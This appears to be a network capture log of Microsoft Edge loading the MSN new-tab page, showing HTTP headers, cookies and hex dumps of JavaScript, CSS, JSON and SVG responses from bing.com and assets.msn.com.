2024-04-23 21:02:25 UTC	2463	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: MUID=18FD0A19065469ED0AFB1E7307C068F9; domain=.bing.com; expires=Sun, 18-May-2025 21:02:25 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=18FD0A19065469ED0AFB1E7307C068F9; expires=Sun, 18-May-2025 21:02:25 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=17096C4C7D05640B13B578267C916596; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Sun, 18-May-2025 21:02:25 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Thu, 23-Apr-2026 21:02:25 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Thu, 23-Apr-2026 21:02:25 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=64FFA81B15EE431B9997FEA90B45D9AD&dmnchg=1; domain=.bing.com; expires=Thu, 23-Apr-2026 21:02:25 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20240423; domain=.bing.com; expires=Thu, 23-Apr-2026 21:02:25 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Thu, 23-Apr-2026 21:02:25 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=17096C4C7D05640B13B578267C916596; domain=.bing.com; path=/; secure; SameSite=None Access-Control-Allow-Headers: * Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Max-Age: 7200 X-EventID: 662821e1930f4e6a91cae2b17bb8e00d UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy-Report-Only: script-src https: 'strict-dynamic' 'report-sample' 'nonce-FJeyHXbKoP6asb9/6DTV/xtrjs74ITzkmWM9tLjfDs0='; base-uri 'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: AE27475349BA4552823CEF337393C57E Ref B: BL2AA2010204039 Ref C: 2024-04-23T21:02:25Z Date: Tue, 23 Apr 2024 21:02:24 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49883	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	607	OUT	GET /breakingnews/v1/cms/api/amp/article/AA157JY HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1424	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Last-Modified: Tue, 23 Apr 2024 18:40:29 GMT ETag: W/"41248" Server: Microsoft-HTTPAPI/2.0 X-CMS-DocumentStorageTier: Cache X-CMS-DocumentId: AA157JY X-CMS-Version: 12754 X-CMS-State: Published X-CMS-Tenant: amp X-CMS-Type: article X-CMS-ExecutionTimeInMilliseconds: 3 Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: X-Trace-Context,X-CMS-DocumentId,X-CMS-Type,X-CMS-Tenant,X-CMS-State,X-CMS-Version,ETag,X-CMS-SearchElapsedTimeInMilliseconds,X-CMS-SearchBackendTimeInMilliseconds,X-CMS-SearchMatchedTotal,X-CMS-SearchMaxScore,X-CMS-SearchShardsTotal,X-CMS-SearchShardsSuccessful,X-CMS-SearchShardsFailed,X-CMS-SearchReturnedCount,X-CMS-ExecutionTimeInMilliseconds,MS-CV AppEx-Activity-Id: 396c2c4c-8926-4aae-a198-5b777e851c88 X-Trace-Context: {"ActivityId":"396c2c4c-8926-4aae-a198-5b777e851c88"} MS-CV: Cm45ViSlx0GDucqQF6LRTw.0 X-CMS-ServiceLocation: eastus:0 Date: Tue, 23 Apr 2024 21:02:25 GMT Content-Length: 5657 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402748213,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017335 Cache-Control: max-age=30 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.18017335 Vary: Origin
2024-04-23 21:02:25 UTC	5657	IN	Data Raw: 7b 22 24 74 79 70 65 22 3a 22 61 72 74 69 63 6c 65 22 2c 22 74 69 74 6c 65 22 3a 22 21 21 21 20 55 53 45 20 50 52 4f 4d 4f 20 43 41 52 44 53 20 54 41 42 20 21 21 21 22 2c 22 5f 69 73 50 75 62 6c 69 73 68 69 6e 67 4c 6f 63 6b 65 64 22 3a 74 72 75 65 2c 22 5f 69 64 22 3a 22 41 41 31 35 37 4a 59 22 2c 22 5f 6e 61 6d 65 22 3a 22 62 72 65 61 6b 69 6e 67 2d 6e 65 77 73 22 2c 22 5f 6c 61 73 74 45 64 69 74 65 64 44 61 74 65 54 69 6d 65 22 3a 22 32 30 32 34 2d 30 34 2d 32 33 54 31 38 3a 34 30 3a 32 39 5a 22 2c 22 5f 6c 69 6e 6b 73 22 3a 7b 22 73 65 6c 66 22 3a 5b 7b 22 68 72 65 66 22 3a 22 63 6d 73 2f 61 70 69 2f 61 6d 70 2f 61 72 74 69 63 6c 65 2f 41 41 31 35 37 4a 59 22 7d 5d 2c 22 70 61 72 65 6e 74 22 3a 5b 7b 22 68 72 65 66 22 3a 22 63 6d 73 2f 61 70 69 2f 61 Data Ascii: {"$type":"article","title":"!!! USE PROMO CARDS TAB !!!","_isPublishingLocked":true,"_id":"AA157JY","_name":"breaking-news","_lastEditedDateTime":"2024-04-23T18:40:29Z","_links":{"self":[{"href":"cms/api/amp/article/AA157JY"}],"parent":[{"href":"cms/api/a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49884	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	638	OUT	GET /bundles/v1/edgeChromium/latest/sign-in-control-wc.ce912a6f76a1497532ac.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: rO0dmlG8UJqmCTgbvAzVig== Last-Modified: Wed, 17 Apr 2024 19:30:47 GMT ETag: 0x8DC5F14E2186F85 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: ddf9a517-c01e-007b-51fd-90bda9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Content-Length: 10604 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402748215,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017337 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.18017337 Vary: Origin
2024-04-23 21:02:25 UTC	10604	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 73 69 67 6e 2d 69 6e 2d 63 6f 6e 74 72 6f 6c 2d 77 63 22 5d 2c 7b 34 35 33 38 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 65 2e 72 28 6e 29 2c 65 2e 64 28 6e 2c 7b 53 69 67 6e 49 6e 43 6f 6e 74 72 6f 6c 57 43 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 24 7d 2c 53 69 67 6e 49 6e 43 6f 6e 74 72 6f 6c 57 43 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4b 7d 2c 53 69 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["sign-in-control-wc"],{45383:function(t,n,e){e.r(n),e.d(n,{SignInControlWC:function(){return $},SignInControlWCStyles:function(){return K},Si

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49885	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	821	OUT	GET /staticsb/statics/latest/common/icons/copilot_color.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
2024-04-23 21:02:25 UTC	1040	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: A1NJHyIzCE3zCKolhv+68g== Last-Modified: Mon, 22 Apr 2024 19:07:03 GMT ETag: 0x8DC62FF65420FBE Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: a6e811dd-701e-00ec-794e-958bd0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Content-Length: 3004 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402748226,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017342 Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.18017342 Vary: Origin
2024-04-23 21:02:25 UTC	3004	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 61 29 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 75 72 6c 28 23 62 29 22 20 64 3d 22 4d 33 35 2e 31 32 20 36 2e 34 36 41 35 20 35 20 30 20 30 20 30 20 33 30 2e 33 36 33 20 33 68 2d 31 2e 36 35 34 61 35 20 35 20 30 20 30 20 30 2d 34 2e 39 32 20 34 2e 31 30 36 6c 2d 32 2e 33 34 31 20 31 32 2e 38 39 32 2e 37 31 2d 32 2e 34 31 31 41 35 20 35 20 30 20 30 20 31 20 32 36 2e 39 35 36 20 31 34 68 38 2e 33 34 6c 33 2e 35 39 33 20 31 2e 37 38 36 4c 34 32 2e 33 35 33 20 31 34 68 2d 31 2e 31 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" fill="none"><g clip-path="url(#a)"><path fill="url(#b)" d="M35.12 6.46A5 5 0 0 0 30.363 3h-1.654a5 5 0 0 0-4.92 4.106l-2.341 12.892.71-2.411A5 5 0 0 1 26.956 14h8.34l3.593 1.786L42.353 14h-1.1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49886	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	504	OUT	GET /bundles/v1/edgeChromium/latest/feedDependencies.6629e7599f3739138e10.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: lrwRGe20vHlxNn6vKNgLRQ== Last-Modified: Mon, 22 Apr 2024 19:59:16 GMT ETag: 0x8DC6306B084964F Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: f6f345e0-c01e-00ab-0bef-9489cf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402748346,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180173ba Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.180173ba Vary: Origin
2024-04-23 21:02:25 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 66 65 65 64 44 65 70 65 6e 64 65 6e 63 69 65 73 22 5d 2c 7b 35 37 34 36 31 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 2c 6c 29 7b 6c 2e 72 28 6f 29 2c 6c 2e 64 28 6f 2c 7b 41 6e 61 68 65 69 6d 4c 61 79 6f 75 74 54 65 6d 70 6c 61 74 65 4d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5a 6c 7d 2c 41 6e 61 68 65 69 6d 57 61 74 65 72 66 61 6c 6c 4c 61 79 6f 75 74 54 65 6d 70 6c Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["feedDependencies"],{57461:function(t,o,l){l.r(o),l.d(o,{AnaheimLayoutTemplateMap:function(){return Zl},AnaheimWaterfallLayoutTempl
2024-04-23 21:02:25 UTC	9395	IN	Data Raw: 20 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 61 72 65 61 73 3a 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 31 20 73 6c 6f 74 31 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 31 20 73 6c 6f 74 31 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 34 20 73 6c 6f 74 32 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 35 20 73 6c 6f 74 32 22 3b 0a 7d 0a 0a 3a 68 6f 73 74 28 5b 6c 61 79 6f 75 74 3d 22 43 32 22 5d 29 20 2a 5b 73 74 79 6c 65 2a 3d 22 67 72 69 64 2d 61 72 65 61 3a 73 6c 6f 74 33 22 5d 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 3a 68 6f 73 74 28 5b 6c 61 79 6f 75 74 3d 22 43 31 22 5d 29 20 7b 0a 20 20 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 61 72 65 61 73 3a 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 31 22 0a 20 20 Data Ascii: grid-template-areas: "slot1 slot1" "slot1 slot1" "slot4 slot2" "slot5 slot2";}:host([layout="C2"]) [style="grid-area:slot3"] { display: none;}:host([layout="C1"]) { grid-template-areas: "slot1"
2024-04-23 21:02:25 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 74 35 22 2c 6c 61 79 6f 75 74 73 3a 7b 43 35 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 2c 43 34 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 2c 43 33 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 2c 43 32 3a 73 2e 4e 76 2e 5f 32 78 5f 32 79 2c 43 31 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 7d 2c 74 65 6c 65 6d 65 74 72 79 52 6f 77 43 6f 6c 3a 7b 43 35 3a 5b 31 2c 32 5d 2c 43 34 3a 5b 33 2c 31 5d 2c 43 33 3a 5b 33 2c 32 5d 2c 43 32 3a 5b 33 2c 31 5d 2c 43 31 3a 5b 39 2c 31 5d 7d 7d 2c 7b 67 72 69 64 5f 61 72 65 61 3a 22 73 6c 6f 74 36 22 2c 6c 61 79 6f 75 74 73 3a 7b 43 35 3a 73 2e 4e 76 2e 5f 32 78 5f 32 79 2c 43 34 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 2c 43 33 3a 73 2e 4e 76 2e 5f 32 78 5f 32 79 2c 43 32 3a 73 2e 4e 76 2e 5f 32 78 5f 32 79 2c 43 31 3a 73 Data Ascii: 00006000t5",layouts:{C5:s.Nv._1x_2y,C4:s.Nv._1x_2y,C3:s.Nv._1x_2y,C2:s.Nv._2x_2y,C1:s.Nv._1x_2y},telemetryRowCol:{C5:[1,2],C4:[3,1],C3:[3,2],C2:[3,1],C1:[9,1]}},{grid_area:"slot6",layouts:{C5:s.Nv._2x_2y,C4:s.Nv._1x_2y,C3:s.Nv._2x_2y,C2:s.Nv._2x_2y,C1:s
2024-04-23 21:02:25 UTC	8204	IN	Data Raw: 6c 6f 74 37 22 3b 0a 7d 0a 0a 3a 68 6f 73 74 28 5b 6c 61 79 6f 75 74 3d 22 43 31 22 5d 29 20 7b 0a 20 20 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 61 72 65 61 73 3a 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 31 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 31 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 32 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 32 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 33 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 33 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 34 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 34 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 35 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 35 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 36 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 36 22 0a 20 20 20 20 20 Data Ascii: lot7";}:host([layout="C1"]) { grid-template-areas: "slot1" "slot1" "slot2" "slot2" "slot3" "slot3" "slot4" "slot4" "slot5" "slot5" "slot6" "slot6"
2024-04-23 21:02:25 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 31 20 73 6c 6f 74 31 20 73 6c 6f 74 32 20 73 6c 6f 74 33 20 73 6c 6f 74 34 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 35 20 73 6c 6f 74 36 20 73 6c 6f 74 37 20 73 6c 6f 74 37 20 73 6c 6f 74 38 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 35 20 73 6c 6f 74 36 20 73 6c 6f 74 37 20 73 6c 6f 74 37 20 73 6c 6f 74 38 22 3b 0a 7d 0a 0a 3a 68 6f 73 74 28 5b 6c 61 79 6f 75 74 3d 22 43 34 22 5d 29 20 7b 0a 20 20 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 61 72 65 61 73 3a 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 31 20 73 6c 6f 74 31 20 73 6c 6f 74 32 20 73 6c 6f 74 34 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 31 20 73 6c 6f 74 31 20 73 6c 6f 74 32 20 73 6c 6f 74 34 22 0a 20 20 20 Data Ascii: 00004000" "slot1 slot1 slot2 slot3 slot4" "slot5 slot6 slot7 slot7 slot8" "slot5 slot6 slot7 slot7 slot8";}:host([layout="C4"]) { grid-template-areas: "slot1 slot1 slot2 slot4" "slot1 slot1 slot2 slot4"
2024-04-23 21:02:25 UTC	12	IN	Data Raw: 64 44 6f 6d 4f 72 64 65 72 3a 0d 0a Data Ascii: dDomOrder:
2024-04-23 21:02:25 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 7b 43 35 3a 31 2c 43 34 3a 31 2c 43 33 3a 31 2c 43 32 3a 31 2c 43 31 3a 31 7d 2c 74 65 6c 65 6d 65 74 72 79 52 6f 77 43 6f 6c 3a 7b 43 35 3a 5b 31 2c 31 5d 2c 43 34 3a 5b 31 2c 31 5d 2c 43 33 3a 5b 31 2c 31 5d 2c 43 32 3a 5b 31 2c 31 5d 2c 43 31 3a 5b 31 2c 31 5d 7d 7d 2c 7b 67 72 69 64 5f 61 72 65 61 3a 22 73 6c 6f 74 32 22 2c 6c 61 79 6f 75 74 73 3a 7b 43 35 3a 73 2e 4e 76 2e 5f 32 78 5f 32 79 2c 43 34 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 2c 43 33 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 2c 43 32 3a 73 2e 4e 76 2e 5f 32 78 5f 32 79 2c 43 31 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 7d 2c 63 61 72 64 44 6f 6d 4f 72 64 65 72 3a 7b 43 35 3a 32 2c 43 34 3a 32 2c 43 33 3a 32 2c 43 32 3a 33 2c 43 31 3a 32 7d 2c 74 65 6c 65 6d 65 74 72 79 52 Data Ascii: 00004000{C5:1,C4:1,C3:1,C2:1,C1:1},telemetryRowCol:{C5:[1,1],C4:[1,1],C3:[1,1],C2:[1,1],C1:[1,1]}},{grid_area:"slot2",layouts:{C5:s.Nv._2x_2y,C4:s.Nv._1x_2y,C3:s.Nv._1x_2y,C2:s.Nv._2x_2y,C1:s.Nv._1x_2y},cardDomOrder:{C5:2,C4:2,C3:2,C2:3,C1:2},telemetryR
2024-04-23 21:02:25 UTC	12	IN	Data Raw: 22 0a 20 20 20 20 20 20 20 20 0d 0a Data Ascii: "
2024-04-23 21:02:25 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 73 6c 6f 74 31 30 20 73 6c 6f 74 31 33 20 73 6c 6f 74 31 32 20 73 6c 6f 74 31 34 22 3b 0a 7d 0a 0a 3a 68 6f 73 74 28 5b 6c 61 79 6f 75 74 3d 22 43 33 22 5d 29 20 7b 0a 20 20 20 20 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 61 72 65 61 73 3a 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 31 20 73 6c 6f 74 31 20 73 6c 6f 74 34 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 31 20 73 6c 6f 74 31 20 73 6c 6f 74 34 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 32 20 73 6c 6f 74 33 20 73 6c 6f 74 39 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 32 20 73 6c 6f 74 33 20 73 6c 6f 74 39 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 37 20 73 6c 6f 74 36 20 73 6c 6f 74 31 36 22 0a 20 20 20 20 20 20 20 20 22 73 6c 6f 74 37 20 73 6c 6f 74 31 35 20 Data Ascii: 00006000"slot10 slot13 slot12 slot14";}:host([layout="C3"]) { grid-template-areas: "slot1 slot1 slot4" "slot1 slot1 slot4" "slot2 slot3 slot9" "slot2 slot3 slot9" "slot7 slot6 slot16" "slot7 slot15
2024-04-23 21:02:25 UTC	8204	IN	Data Raw: 33 3a 5b 35 2c 31 5d 2c 43 32 3a 5b 37 2c 32 5d 2c 43 31 3a 5b 31 33 2c 31 5d 7d 7d 2c 7b 67 72 69 64 5f 61 72 65 61 3a 22 73 6c 6f 74 38 22 2c 6c 61 79 6f 75 74 73 3a 7b 43 35 3a 73 2e 4e 76 2e 5f 31 78 5f 31 79 2c 43 34 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 2c 43 33 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 2c 43 32 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 2c 43 31 3a 73 2e 4e 76 2e 5f 31 78 5f 32 79 7d 2c 63 61 72 64 44 6f 6d 4f 72 64 65 72 3a 7b 43 35 3a 39 2c 43 34 3a 37 2c 43 33 3a 35 2c 43 32 3a 39 2c 43 31 3a 38 7d 2c 74 65 6c 65 6d 65 74 72 79 52 6f 77 43 6f 6c 3a 7b 43 35 3a 5b 33 2c 34 5d 2c 43 34 3a 5b 33 2c 34 5d 2c 43 33 3a 5b 33 2c 33 5d 2c 43 32 3a 5b 39 2c 32 5d 2c 43 31 3a 5b 31 35 2c 31 5d 7d 7d 2c 7b 67 72 69 64 5f 61 72 65 61 3a 22 73 6c 6f 74 39 Data Ascii: 